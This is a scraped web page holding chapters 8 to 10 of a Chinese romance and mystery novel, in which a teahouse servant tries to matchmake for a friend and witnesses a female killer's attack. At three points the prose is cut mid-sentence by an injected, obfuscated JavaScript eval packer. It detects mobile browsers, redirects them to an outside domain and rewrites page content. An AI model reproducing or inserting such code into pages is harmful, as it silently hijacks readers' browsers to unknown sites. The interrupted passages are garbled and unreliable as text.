一个大男人,一个曾经的英俊豪杰如此颓靡地待在这样的所在,实在令人诧异。 而逐璧这个爱说谎的人,就连“剑术平平”也是骗宜尔的,不过宜尔已经不在乎了。 她又恢复了自己平和宁静的生活。 那些惊险刺激的故事与她,向来是书里和书外的距离,她只看个热闹罢了。 对宜尔来说,江湖,是太遥远的两个字,而眼前的困境才是她最该在意的,比如如何帮红璎重新找一个可靠的有情人。 红璎此番助她许多,作为挚友,宜尔也想帮他。毕竟怎么说她是个女人,看女人比他看得清。 人来人往中,清歌妙舞间,红璎手背顶着下颌,笑向走来收桌的宜尔,“你觉得方才离开的姑娘如何?” 宜尔一边擦桌子一边小声答道:“不行。那姑娘同你说话时,讲两句就要看一眼边上的术璞,明显看不上你。” 红璎听罢,不仅不伤心,反而噗嗤笑出声。宜尔也不知他笑什么,奇怪地看向他。 他今天也将自己涂得浓厚,唇红齿白,眉目艳彩得模糊。 笑声过后,红璎的唇角依然微弯着,可低望来的眼睛却平静得有些凉冷。 宜尔明白,他其实还很在意被人骗了的事情,一直无法真正地前行。 “怎么了?”他问得轻柔,“这样盯着我看。” 宜尔摇头,转回去将桌子抹干净。桌子上东西少,她三两下就收拾好了。 厅堂箫声三下,欢喜笑闹的人群逐渐散去。 剩下的由刀鱼负责收拾,宜尔和莺语往后|庭走去,红璎也跟了上来。 这段时日,他偶尔也同她二人一道吃消夜。 三碗热乎的面摆在合欢树下的石桌上。 累得整个人蔫巴巴的莺语嗦完最后一口面,一边抹嘴一边看向坐在对面的红璎,更蔫耷了,“红璎你真好,夜里这么加一餐也没见你长肉。我就不行了,最近胳膊都粗了。唉,是不是得戒掉这顿啊?” 红璎:“男人不容易胖。” “可惜我这辈子胎已经投完了。” 宜尔往面里添辣油,“晚上不吃,那你怕是早上又要饿得多吃了。” 莺语摸摸肚子,“说的也是。我还是多动动吧。我去散个步!”她说完就蹭地站起来,抱着碗往厨房走,“今天宜尔你洗碗啊!” 宜尔扬了下头,“嗯。” 夏风轻吹,合欢花香气淡淡。 红璎仰首看着月夜里拢起的花,看着摇动中的茸茸粉意。宜尔则嚼着面看他。 他转回首望她,“宜尔,你可曾听过苦情树的故事?” “是说那个粉扇因丈夫变心含恨而终的故事?” “嗯。” 传说中,合欢树以前叫苦情树,从不开花。 一位秀才十载寒窗苦读,进京赶考前,在家中的苦情树下对妻子粉扇发誓,若得取功名,必回乡接她共享荣华。 然而秀才一去不复返,音问杳然。粉扇在家中苦苦等待,等到青丝变白发,也不见丈夫归来。 临终前,她来到苦情树下请愿:“若郎君变心,愿此树来年开花,花叶永不分离,叫天下人皆知相思之痛,莫负深情!” 第二年,苦情树当真开出了粉绒的花,叶子随着花开花谢而朝展暮合。 人们为了纪念粉扇的痴情,就把苦情树改名为合欢树??。 合欢,是深情与执着的象征。 宜尔轻叹一声,“你触景生情,担忧下次也被负是吗?但或许你会碰上一个同粉扇一样痴情的女子。” “我是想到,我当时让合欢树作为见证,同你立下誓言,似乎不大吉利。” 宜尔笑笑,“它已经不是苦情树了,怎会不吉利?况且事在人为。” “是啊,事在人为。”红璎回以一笑。 宜尔突然想起方才术璞揽着姑娘入暖阁的画面,犹豫片刻后,还是开口道:“对了,嗯……近来不能随便让人夜宿你明白吧?” 红璎收敛笑意,难得红了脸,“我、我本来也不随便。” 说起这种话题,宜尔也感到局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559164|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 促,面颊发热,但此事太过重要,她还是硬着头皮说下去:“干脆就先不要夜宿了,不然容易吓跑好姑娘。我们得给人家一种你出淤泥而不染的感觉你可明白?” 红璎垂下眼,“我明白。” 宜尔忽觉自己方才的话似乎有些别的意味,嗫嚅道:“我没有嫌弃你的意思。” 跟男人谈这种话题果然很奇怪。宜尔尴尬之余,觉得自己有些鲁莽。 红璎笑着抬眼看来,“我知道。那不如干脆把妆都擦了?你不是说太浓了么?” “嗯……现在还不行。我们用这个浓妆去试探姑娘们。对你嗤之以鼻的我们就不考虑了,对你仍然如常对待的我们可再加观察。” “我化得有那么糟吗?” 宜尔沉默了,红璎明白了,也沉默了。 她转开话题,“总之,我们要找那种只是一时来此,而不是热衷于这种馆子的姑娘。” 一时来此……这个如何呢? 宜尔立在堂侧,眼睛紧盯着走进来时神色有些慌张的姑娘。 姑娘看起来不过二十,眉清目秀,嘴唇左下方有一颗小小的黑痣。罗裳锦缎,佩玉戴金,一看就不缺钱。 但瞧着像是个大家闺秀,这样的怕是不能同红璎做寻常夫妻。 宜尔思忖间,姑娘已经坐在了席间。 不出所料,她果真是第一次来这个场所。王乌将有空闲的倌人都叫了出来,站作一排供她挑选。 姑娘眼神闪躲,羞羞答答地不敢仔细瞧望,匆匆扫过后指了术璞。 术璞秀雅文静,低眉颔首走上前。 除此之外,还需留一人,以免术璞内急离开时姑娘无人说话。王乌按老惯例留下了红璎。 红璎笑着同她问候,开了两句玩笑,姑娘羞涩得掩唇而笑,举手投足间尽是温柔风度。 宜尔观望着,在心中默默点头,这姑娘确实不错。 “哎哟,好重,宜尔,你帮我把这个一起丢出去吧,我那边还有好多事情要做。”莺语走过来,端着个装满残余食物的陶罐。 宜尔左手接过陶罐,右手是另一只陶罐。她从后门出去,一直走到后巷,将陶罐摆在角落,等着明日倾脚头来收。 她直起腰,拍了拍手掌上蹭到的灰。转身便见五六个官兵走来。 虽然她没干过什么坏事,可还是下意识紧张起来。宜尔站到墙侧,为官差让路。 然而领头的魁梧官兵却停在了她面前,挠了挠头,“宜尔你怎么转大半夜干活了?” 宜尔抬起头,夜色黑沉,加上他换了装束,一时没认清,原来是卖菜李伯的儿子李嘉。 宜尔以前空闲的时候,偶尔会陪着柴爷一道去买晚间的菜,有时就会碰见李嘉。之前一直听说他当上了官差,原来是真的。 “馆里人手不足。你们这是夜间巡逻?” “是啊。最近事情可多了,先是城里有个女飞贼,偷了好几家东西,又来了个毒妇,分尸自己丈夫后逃跑了。对了,”他从衣间拿出一块皱巴巴的布条,“你瞧瞧那毒妇的画像,见过没?” 宜尔凑上前一看,画像上的女子眉毛宽浓,毛毛虫一般,一双眼睛圆溜溜的,嘴唇又薄又长,左下方有一颗黑痣。 8. 第 8 章 明明是两张完全不同的相貌,宜尔却仍被那颗相同位置的痣骇到,心口慌乱地跳。 她抚住心胸,试图压抑,摇头回应李嘉:“没见过。” 李嘉将画像收好。 “那你晚上出行留意着些,近来动荡,民间不太平。” 他说得委婉,宜尔明白他所指。 这段时日帝王病重,由于他一向暴戾酷政,不满者趁此时机起了心思,据说多地都有起义。 “我会的。李嘉你更要小心。” 李嘉点点头,辞行继续巡逻。宜尔也回到前堂。 只见莺歌燕舞中,术璞和姑娘附耳说话,姑娘红着脸回应,而红璎则坐在一旁,望着术璞和那姑娘笑。 起先,宜尔以为是其乐融融,可在角落里再多看一会儿后,发现红璎除了帮忙倒酒,就是在收拾,和人家姑娘没说上两句话。 桌上酒洒了,他也不叫人,一个人默默地擦。将本该由她和莺语收拾的残剩物分丢进罐中。 难怪每次他坐的位置都那样干净……宜尔既为之动容又觉得奇怪,以红璎的健谈,怎会连句话都插不上? “没什么想说的。” 对于宜尔的问题,合欢树下的红璎如此回应。 “你不喜欢那姑娘?” 红璎回复平淡,“一面之识,谈不上喜欢不喜欢。怎么了?你一直问我,是觉得那姑娘适合?” 原来是没放在心上…… 宜尔无奈地叹了一声,“那姑娘不是头一回进这种馆子么?正符合我们先前说的。而且模样好,又有钱,若顺利,你很快便能脱离苦海。” 红璎轻笑,“瞧着像富商之女,哪有我做正的份?宜尔你高估我了。” “你说的是,我当时也想到了这点,但——” “但你总要试试吧?”莺语嗦完一口面插话道。 宜尔点首,“眼下没有更好的人选,不妨多了解一下这位姑娘再说?兴许会是段良缘。” 红璎望她许久,垂下脸吃面,“我明白了。” 瞧他这副无精打采的模样,宜尔有种强人所难之感。 等莺语吃饱喝足进厨房洗碗时,宜尔悄声问红璎:“红璎你是不是还不想找个新的?” “没啊。” “那要不歇息一段时日再找?” “为何?我瞧着累了?” 宜尔小心措辞,“你对此事似乎……并不积极。若实在不愿前进,不如就先放下此事,让心休歇一番?” 红璎盯着她瞧,他最近总这样盯着她瞧,也不知心里在想些什么。 他一直盯到宜尔不习惯得移开了目光才开口道:“宜尔原来是这样处处操心的性子。” 宜尔对此毫无自觉,初听这样的评价不知如何作答。 正好走出来的莺语替她回答,二人的话她在里头听得清清楚楚,“宜尔不爱管闲事,一旦管了,那就是尽心尽力管到最后。所以红璎你要是不想做什么了,直接告诉她便是,省得她纠结费神。” 宜尔感激地看了莺语一眼。 红璎正容,“我明白。我不会辜负你的一番心意。近来可能是有些疲累,所以态度不佳。宜尔觉得这姑娘好,那我便多留心。” 宜尔欣慰地点首,“那你听他们聊天时可有得到什么消息?” “那女子姓丰,让我们称其丰小姑娘。今年已足足二十二,仍未出嫁,在友人的怂恿中来到馆中。” 莺语饭后散步才散了几日,今天就放弃了,她一屁股坐回来,“这不是非常好吗?” 红璎笑着点头,“是啊。” 宜尔想起那副画像,心中隐忧又起。 唉,如何看都是无关联的两个人,她怎么就这么爱将事情往坏处想?是因为还不习惯晚睡,头脑昏沉么? 宜尔起身,“我有些困,先回去睡了。” 红璎也起身,同她一道。莺语纠结半晌,还是决定去走两圈再睡。 夜风习习,两人并肩而行。 宜尔悄悄看红璎。 她的朋友不多,交心的只有莺语和柴爷。饶是她少得可怜的交际经验也能告诉她,红璎这段时日确实精神不济,心绪微妙。 作为朋友,即使不能帮友人解决所有事情,听一听烦恼也是好的。 于是宜尔鼓起勇气开口:“红璎,你近来究竟是为什么烦恼?” 这话说得似乎有些强硬,她想词找补时红璎已做回答:“你这样在乎我心情不好?” “毕竟我们说好要做挚友,你又曾那般帮我。” 红璎舒朗地笑了。他同逐璧都是爱笑之人,却很是不同。 逐璧笑不露齿,他的笑温柔、浅淡、若有似无,只在唇角。红璎则常要笑露出牙来,他的牙很整齐,笑的时候常常没个正经,眼睛眉毛也跟着笑,憋笑、嘲笑、苦笑、无语时的撇嘴一笑……有很多种笑。他偶尔也会像现在这样笑,眼睛和唇角弯着,有股静谧之感。 “我难得眼神不错,没看错人。宜尔你当真是个好姑娘。” 宜尔面上发热,“那你可否告知我心情不好的原因?” 红璎看着明月想了想,“或许是,想念那片田野了吧。” 这晚间的风就和当时一样凉爽。 宜尔心有触动,“只要我们心怀希望、坚持不懈,将来你一定还能在田野旁自由自在地走。” “嗯,是我心急了。” 心一急,眼前的困境就放大了,囚住心,将其变得脆弱、不知足。 宜尔笑笑,“慢慢来,我会陪着你一起的。” 红璎一扬眉,“也不能太慢吧?成了皱巴巴的萝卜,贱卖去炖汤都没人要。” “我会在你还是个水嫩萝卜时找着买主的。” 见他又恢复往常说笑的模样,宜尔安下心来。 翌日晚上,丰小姑娘又来了。这次换了另外两人作陪。她对冠玉馆似乎很好奇,总是偷偷地四处打量。 宜尔本想多探听些消息,多了解了解她,然而今日客人很多,宜尔很忙,有擦不完的桌子和扫不完的地,好不容易空闲下来,都快到散场时间了。 宜尔绕到丰小姑娘侧后,一边擦花瓶一边偷看她同其他人说话。 “姑娘走来的?” “嗯,我住得不远。” “这段时日不太平,等下我送姑娘你回去吧?” 丰小羞了脸,揪着衣裳,“不、不必劳烦了,真的不远。” 另一人神色担忧地道:“据说有女魔头诶,分尸自己丈夫不说,昨日还又捅死了一名男子,听说那男子的舌头都被割掉了。” 卫水苏又想起那副画像了,她看向丰小,丰小笑得温柔,“那女魔头只杀男人,想来与我无关。” 如此平静,果然是毫无相干的两个人。宜尔被自己笑到。 战战兢兢,如履薄冰,哪天怕是要被自己吓死。 箫声三下,该散了。 宜尔看着丰小起身往外走去,有些纠结。 她想跟上去瞧瞧丰小住在何处。毕竟知道她住哪儿也就好去打听她的身份、为人。可这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559165|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大半夜的…… 今日丰小自己一人来,等下一定是直接回家,下次兴许又要同友人一道来,万一乘友人马车离去,她两条腿是万万难跟上去。机不可失,失不再来…… 宜尔犹豫半晌,眼看着丰小越走越远,就快要看不见了,她一咬牙,一狠心跟了上去。 夜晚的街巷寂静无声,偶有狗吠猫叫。 宜尔头一回大晚上独自在外头走,身边没个说话的伴,又干着跟踪的勾当,心脏一直杂乱无序、砰砰砰地跳动着。 她一直走在离丰小极其远的位置,只能刚刚看到其身形,丰小过转角,她才加快步伐。 这样一路谨小慎微地跟着,才看到丰小最终进了一户大宅。宜尔借着月光辨认:【金玉堂】 金玉堂?那个同他们抢生意的金玉堂? 深夜的幽微恐怖全然被另一种情绪替代。宜尔深感失望的同时也觉得无奈。 居然是金玉堂派来刺探的……他们这么小个馆子,还用上这样的招数……这些人,挣再多的钱也不满足,见不得别人分半杯羹。 她长叹一声,转身准备回去。 没了丰小走在前头,深夜独行让心跳得更快。 灰青色的街巷尽头似乎总有什么要冒出来一般,是凶面獠牙的恶兽?还是手持柴刀的凶徒? 河岸旁的柳树一晃神就似乎长了眼睛、多了手脚…… 宜尔不敢多看,越看想得越可怕。她强作镇定,加快脚步,然而走了两段路后却到了个死胡同。 她竭力冷静,回想方才的路径,应当是第一个路口那里转错了方向。 宜尔转身要往回走,却见墙缘边一只手扒在上面。 宜尔整个人针扎一般,连呼吸都停了。她再仔细一瞧,没看错,确实是一个男人的手。咚地一声,手往下滑,一个男人的上半身倒露出来,趴伏在地。 酒气顺着风飘来。 原来是个醉汉……宜尔抚了下胸口,深呼吸一口气。 这个天睡在外头也不会有事。宜尔准备绕着走过去,然而刚走出墙缘,就见男人身后还站着一个女人。 女人身形高大,眼睛黑溜溜的,像颗龙眼核,眉毛又宽又浓,牙齿咬着薄长的下嘴唇,变得殷红。她的右手持着一把带血的柴刀,左手拿着一只血淋淋的耳朵。 宜尔这时才看清倒在地上的男人胸腹满是鲜血,脑袋旁的血粘着头发凌乱一团,但他还没死,胸口还在起伏,喉咙里发出呜呜的声音。 宜尔腿软,垂在两旁的手发抖。尽管双腿抬起来时仿佛千斤重,她还是竭力将其抬起,转身往后狂奔。 人在危机时刻的能力真是超乎想象。宜尔明明害怕至极,可眼睛还在下意识辨路,这样一个劲地狂奔,竟也跑回了冠玉馆。 她关上后门的那一刻,终于安下心来,累得直接坐倒在地。宜尔呼吸紊乱,大口大口往里吸气,可喉咙干痒,又让她猛地咳嗽起来,大口大口往外吐气,近乎要呕吐了,眼睛也咳出泪来。 急进急出,让她的喉咙呛辣无比。 “宜尔?” 宜尔抬起泪眼,看到阴影中一抹白色的高长身影。 是红璎么?怎么换了身颜色? 宜尔想说话,然而说不出口,咳得整个身体都在颤抖。 来人扶住她的肩,将一碗水端至她嘴边。宜尔接过碗仰头吨吨饮下,喉咙瞬时舒适许多。 她放下碗,看清眼前的面容时怔愣。 如玉的面容蕴着浅浅笑意。他的笑,温柔、若有似无,只在唇角。 9. 第 9 章 宜尔不说话。 逐璧以为她会害怕,会求饶,会逃跑,但她不动,也不说话,只是看着他。 他往前近些,更仔细地看着她,也让宜尔更仔细地看清了他。 逐璧在腥风血雨的江湖月余,整个人变得更加沉稳,肩颈有一种力量感,以前白皙如瓷玉的脸上隐约有些伤痕。 宜尔静默地往后挪了下屁股,离他远些,“公子有东西落了?” 她手往后撑着门想站起来,但腿脚酸软,刚起来一点就往下滑。逐璧就那样看着她又摔在地上,眉眼含笑。 宜尔揉着摔疼的臀部,抬头看他,惴惴不安。 问了话也不回,光看着她笑。总不至于为了那个玩笑特意跑回来折腾她吧?可明明是他先错的。 越想越有些委屈不甘,宜尔硬着一口气站起来,“公子究竟有何贵干?” 逐璧也站起来,低首望她,“回来取东西罢了。宜尔夜半三更又是为何在外?” 一时忘记的事情被唤醒,方才的血腥画面浮现,宜尔又犯恶心了。她整个人颤了一下,深呼吸后才和缓过来,“我……出去散心。夜很深了,我要回房睡觉,就不送公子了。” 宜尔看向漆黑的小径,心中发慌,迈不出脚。可要她央求逐璧送她回去她也做不到。 她只难受纠结了一瞬,干脆一鼓作气拔腿狂奔,也不顾后头逐璧如何看待。 宜尔住得近,没跑多久就到了小院,推开院门只见一抹石榴红坐在她院中的小桌子旁。 “红璎?”宜尔又惊又喜,终于感到平静舒心许多。 一身酒气的红璎原本蹙眉垂首看着桌面,见她回来,神情复杂了一瞬便转为无奈,他起身迎上前来,“夜猫子不睡乱逛,你是去做什么了?” 散场时他没见着宜尔,去问莺语,莺语也没瞧见,但她习惯了有时候宜尔太累会不告而归,不甚在意。 可红璎还没习惯,他便来院子找她,结果不见人影,更是担心。 宜尔拉着他坐回去,“我去跟踪丰小姑娘,原来她是金玉堂派来的探子,可惜了。” 红璎眉头紧皱,“太危险了,以后这种事你叫我去就是。” 还有更危险的…… 宜尔将自己碰见那杀人女魔头的事一说,红璎本就擦得煞白的脸更白,酒意尽褪。 “我准备等天亮了再去报官。”毕竟她现在还是不太敢出门,怕又撞见女魔头。 “我明日同你一道去。往后夜里绝不能再独自出行了知道吗?”红璎强调道。 他如此郑重其事,宜尔既觉得新鲜,又感到安心宽慰,惶恐不安散了大半。 “嗯,谢谢你红璎。”宜尔还想再多表达自己的感激之情,奈何脸皮太薄,说至此已是极限。 这段时日他们熟络许多,但毕竟男女有别,宜尔不能把对莺语的方式照搬过来,不知该如何把握与他相处的尺度。 红璎眼神闪烁,欲言又止。 心情渐渐平静后,宜尔又想起丰小,不禁一叹,“只可惜丰小姑娘了。好不容易等着个合适的,竟是探子。” 红璎摇首,“人可以再找,宜尔你对我来说无比重要,以后莫再如此冒险。” 宜尔的薄脸皮又红了。 为何同样是人,红璎就能坦然说出这样叫人害羞的话呢?是因为擅长面对女性吗? 她低下脸,“我知道,以后真的不会了。” 红璎撑着脑袋看她,笑出声,“像个被教训的学生似的,我没有怪你的意思。” 宜尔也笑了,“我明白。对了,我回来时还遇见逐璧了。” 红璎的笑又止住了。 “他单单回来找你?” “不是,说是回来拿东西。他看起来和以前没太大区别,应该没在意我的报复。” 红璎叹气,不知说什么好。“这么晚了,你快回房睡吧。” 宜尔点点头,站起身,却见红璎仍然坐着不动,“你不回去睡么?” “我在外赏赏星星和月亮,醒醒酒。” “这么晚?”宜尔问出话的瞬间明白过来,红璎是怕她夜里害怕睡不着,特意守在外面。 “待人以情,真意浃洽。”说的就是红璎这样的人吧?明明是这样好的一个人,却不得所求,深陷苦海。 红璎闭着眼,“我是真夜猫子,不困,你快去睡吧。” “嗯。”宜尔进屋关上门,更加坚定了自己要助他的决心。 天一亮,鸡一鸣,宜尔醒了。 她推门出来一看,那抹红石榴正趴睡在桌上,红璎竟然守了她一整夜。 这样的情谊太重,宜尔既觉得感动,又担心最终难以回报。 她轻手轻脚梳洗,去厨房拿了早点回来再叫醒他。 红璎抻抻胳膊抻抻腿,摸着自己的脸惊呼,“完了,昨日就这样直接睡了。” 宜尔端着水盆和脸巾出来,“怎么了?” 红璎指指自己脸颊,“你瞧瞧可有长痘?” 宜尔俯身向前,眼睛掠过他眉骨、鼻梁、唇角……红璎的瞳孔是浅褐色的,白日的光照下有一种清透感。他的妆稀了,妆面不匀,可以看见鼻尖那颗小黑痣,唇上隐约有青色的胡茬冒出。 看着看着,面前雪白的脸庞染上红意,她后知后觉撤回去,有些抱歉,“没看到。” 红璎挠挠脸,“没就好。给我的?麻烦你了。”他顺手接过,蹲到一旁洗脸去。 等他洗完,去掉脂粉气,眉目清爽许多,也冷淡许多。 一个爱说笑的人长了副冷漠的五官,怪不得他看自己不舒服。 红璎往后一捞被水浸湿的额发,低垂下来的眼睫上仍挂着水珠。这种冷静疏远的气息,在他一开口时荡然无存,“这包子怎这么胖?” 宜尔回道:“柴爷专门给我做的,我喜欢吃馅多皮薄的。” 他坐下来,宜尔这才动手拿了个包子往嘴里塞。 “什么馅的?” “有咸菜的,红豆的,还有肉的。哦对了,鸡蛋吃不吃?”她从衣间摸出两个鸡蛋放在桌上。 红璎笑了笑,拿过一个鸡蛋敲碎了,剥一半放到她面前。 “谢谢。”宜尔还拿了碗辣椒油,她拿起鸡蛋蘸蘸,往嘴里塞。 红璎也学她,结果刚入嘴就嘶地一声,倒过边上的茶水一饮而尽,“吃这么辣?” 宜尔点点头。 她其实甜辣都爱吃,但辣是她同家乡、同娘亲的最后一点联系。以前想娘了就吃辣的,不知不觉间就顿顿在吃辣椒了。 两人用过早点后去报官。 还好整个县衙的心都在犯人身上,没人在意宜尔半夜出门溜达的事情。 她领着官差走回昨夜走到的那个死胡同。 几人在路人的目光中四处搜找,终于在一侧的河岸中捞到一具尸首。邋遢的男人胸腹被捅穿,两只耳朵都被人割走。 虽然已做足心理准备,宜尔再见到这副惨状还是忍不住难受。 “宜尔你瞧瞧,是这人吗?”李嘉问她。 宜尔点点头。 李嘉一抬手,其余几人将尸首裹好抬回去。 他又对宜尔道:“虽说那女魔头只杀男人,但你毕竟是见到了她杀人。县衙里人手不足,派不出人保护你。你平日别单独行动,我们会尽快将女魔头缉拿归案。” “嗯,多谢你。” 红璎见她白了脸,也出声安慰:“没抓到犯人前我就做你跟屁虫,粘着你。” “我也会粘着你的!” 听二人讲完全部的莺语从凳子上起来,“我可怜的宜尔,怎么这么倒霉,一件接着一件的,没个安生。” 宜尔心口发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559166|171342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖,笑笑,“还好有你二人陪着我,运气也不算太坏。” 莺语甜甜一笑,坐回去,“不说这种糟心事了,给你们讲点乐子八卦。金玉堂老板的发妻昨天冲进堂里和她丈夫的小情人打起来了。” 宜尔:“情人男的女的?” “男的~还好他开的不是男风馆,不然岂不是养了一群小的?听说那发妻娘家富贵惊人呢,金玉堂刚开始的钱银也多是他妻子掏的。唉,你们说,为何有钱能使鬼推磨却难买有情人呢?” 红璎满不在乎,“那是买的人钱用错地方了吧?” 宜尔:“毕竟情感是人难得能自由自在决定的事,人生恩爱原无价不是?” 莺语对着宜尔连连点头,“是呀,千金难买一个像我们宜尔这样好的姑娘,你将来一定能同丈夫恩爱一生。” 宜尔:“那倒未必,婚姻美满要靠运气。”她对此很看得开。 莺语轻轻捶她一下,“那一开始总得往好的想吧?对了红璎。” 正出神的红璎被她唤回来,“嗯?” “红璎呢?想娶什么样的姑娘?” 红璎失笑,“我还有的挑?” 莺语扁了嘴,“你俩真没意思,想想又没什么。” 红璎想了想,“我不求两情相悦,恩爱不疑,只愿能和一位善良真诚的姑娘白头至老就好。” 对于红璎来说,一个人实在是太过孤单了。 莺语很不满这个回答,鼻子里哼出气来,“你俩怎么都这么平淡,不想谈轰轰烈烈的感情吗?哎呀!叶公子的房间让我提前去打扫来着,险些忘了。”她匆匆起身,抱着碗筷就跑起来。 宜尔看着她的背影。轰轰烈烈……她不毛毛躁躁都不错了。 * 又是夜里。 宜尔专心致志打扫,空闲时分打量一下席间诸位女客。 自从上次同红璎说过后,他精神许多,与女客们说说笑笑,传杯换盏,饮了一坛又一坛酒。 冠玉馆的倌人酒量都很好,红璎更是数一数二,喝下那么多连脸也不红。 然而这些常客一向是万草丛中过,风流成性。要么摸摸术璞的手,要么捏捏红璎的腰。 红璎脾气很好,又早已习惯,一向笑以待之,更何况术璞才是被吃豆腐最多的,脖颈、脸颊皆有红印,比他惨多了。 有个女客喝醉了,非要掐红璎的脸一把,想瞧瞧他敷粉几何,客人力道用大了,他脸上红起一块。女客看着手上的粉哈哈大笑,红璎也笑。 “夫人这样醉了?”他拿过手帕替她将手上的粉擦去。 “就是,醉得不行了。”女客蛹进术璞怀中。 术璞将人揽住,温声问道:“可是要睡了?” “还不够呢,术璞,再同我多喝几杯~”她又坐起来,往术璞和红璎的杯中倒满酒。 红璎笑着一饮而尽。 宜尔不忍多看,移开眼睛。又见丰小姑娘踏门而入。 王馆主得知丰小身份后,决定先不拆穿对方,叫她同莺语都多盯着点。 丰小一边往里走,一边环望厅堂,就像她以前那样。然而眼神与宜尔交汇时却多停留了一会儿。 宜尔心头一慌。难不成自己跟踪的事被发现了? 她去找莺语,让莺语今晚盯着丰小,她就先离远一点。 然而即使离得远,宜尔还是与丰小碰见了。 丰小起身要去如厕,不知怎样迷路到了她这边,向她问路。 宜尔指过方向后,丰小也没走,眼睛盯着她,似有话要说。 丰小嘴下那颗痣如此鲜明,宜尔多看两眼便容易想起昨夜的恐怖,她低下头,却瞥见其袖间有血痕,呼吸一窒。 丰小顺着她目光望去,抱歉地将袖子压住,“啊,晚间做菜伤了手,溅血至此竟未发现,叫姑娘受惊了。” 10. 第 10 章 丰小将手掌摊开,她的指头确实有伤。 宜尔暗叹自己胡思乱想,平复心情后问道:“丰姑娘可是还有什么要吩咐?” 丰小在这儿站了半晌,同样颇不自在,她似乎在思索着什么,她思索时的神情也是动人的。 “敢问姑娘芳名?”丰小不答反问。 她微低身子,“我叫宜尔。” “宜尔姑娘,其实我有个不情之请。”丰小的眉头忧愁地蹙在一起。 “……姑娘请说。” 她看起来似乎真的很纠结、很为难,声音小了许多:“你可曾听说附近有夜里屠人的女魔头?” “……嗯。” “我准备返家,可听到传闻实在害怕,可否劳你送我一程呢?我家就住附近,不远的。” 为何? 宜尔心生警惕。丰小是想沿途从她这儿套问冠玉馆的秘密?毕竟她确实在此栖身数载。可他们馆子除了馆主是逃犯也没什么特别的了。能在这条街存活,多靠坚持和馆主一张嘴。 宜尔环顾四周,红璎不在——已经有一会儿不曾见到他了。莺语则在另一头忙得满头大汗。 正巧术璞路过,她小跑上前,“公子,丰姑娘夜行回家,可否劳烦你送一下?” 他笑意浅浅,“可以啊。” 丰小别开眼,“这……我是从家中悄悄跑出来的,让冠玉馆的男子独身相送,万一被瞧见了……” 术璞低下眼,笑而不语。 宜尔:“那我也一道送您回去如何?” 丰小终于舒了口气,“那便麻烦两位了。” 术璞点过头,“姑娘客气。” 宜尔抱歉地看向术璞,术璞笑着摇摇头。 同馆主、莺语说过后,宜尔和术璞送丰小回家。 莺语原本说什么也要来,可前堂实在忙碌,王馆主无语得敲了她好几下脑门。 想着有术璞陪伴,宜尔也就叫莺语放心干活。 夜色浓重,晚风清凉,一如昨日。 今早走过的路,夜里再看,仍然令宜尔心头发慌,幸好有两人作陪。 宜尔走在丰小和术璞中间,三个人都不爱闲谈,又不算熟悉,一路走来没张过一下嘴,说出过一个字。 虽感尴尬,但宜尔也不是个擅长起头的人,而且沉默久了就习惯了,反倒有几分宁静的安心。 走着走着,宜尔突然想起在堂中有很长一阵子没瞧见红璎,她实在挂怀,于是问术璞:“红璎可是出去送人了?后头一直没瞧见他。” 月华笼身,术璞更显静谧清雅。他偏头看她:“酒杂,喝吐了。” “他酒量不是很好吗?” “似乎是没休息好,胃疼。” 宜尔想起他昨夜给自己守了一晚的门,心生愧疚。 冰凉的手突然触到她肘部,宜尔一颤,扭回头看丰小正盯着自己看。 丰小笑意隐隐,语声轻柔:“宜尔,前面左拐。” 左拐?可金玉堂明明在右边。是特意换了个住所? 宜尔心生不安,但也只能点点头,不自觉走得离术璞更近一些。 术璞和宜尔走在前,丰小步子迈得碎,即使两人特意放缓了脚步,她还是常常落在后头半步的位置。不过几人也不攀谈,并无影响。 她只在岔路口时出声指路。 丰小走路很轻,像羽毛扫过地面,只有些细微的声音。 不知何时起,连那细微的声音也消失了。 宜尔看着眼前的分岔口,虽然认路还是得假装询问。 “丰姑娘,接下来往哪边?” 她转回头一看,身后只有空荡的街。 堤岸边的杨柳枝随风飘动,没有声音。 “丰小姑娘?”她心一揪。 术璞也环望四周,见宜尔神情紧张,宽慰她:“兴许是一时失神迷路了。” “这是她回家之路,不该不认识。丰姑娘人俊俏,会不会是有什么歹徒趁我们不备将人绑走了?”宜尔越想越担心,“公子,我们快回去找找。” 术璞点首,两人往之前经过的各种转角找人。然而翻遍每个漆暗的角落都不见人影。 术璞看着黑深夜幕和点点繁星,“宜尔,先回去吧,这样黑也找不着什么。或许丰姑娘早回去了,也或许,她只是将我们叫出来捉弄一番罢了。” “好。”宜尔找得口渴,嗓子发痒。 两人原路返回。 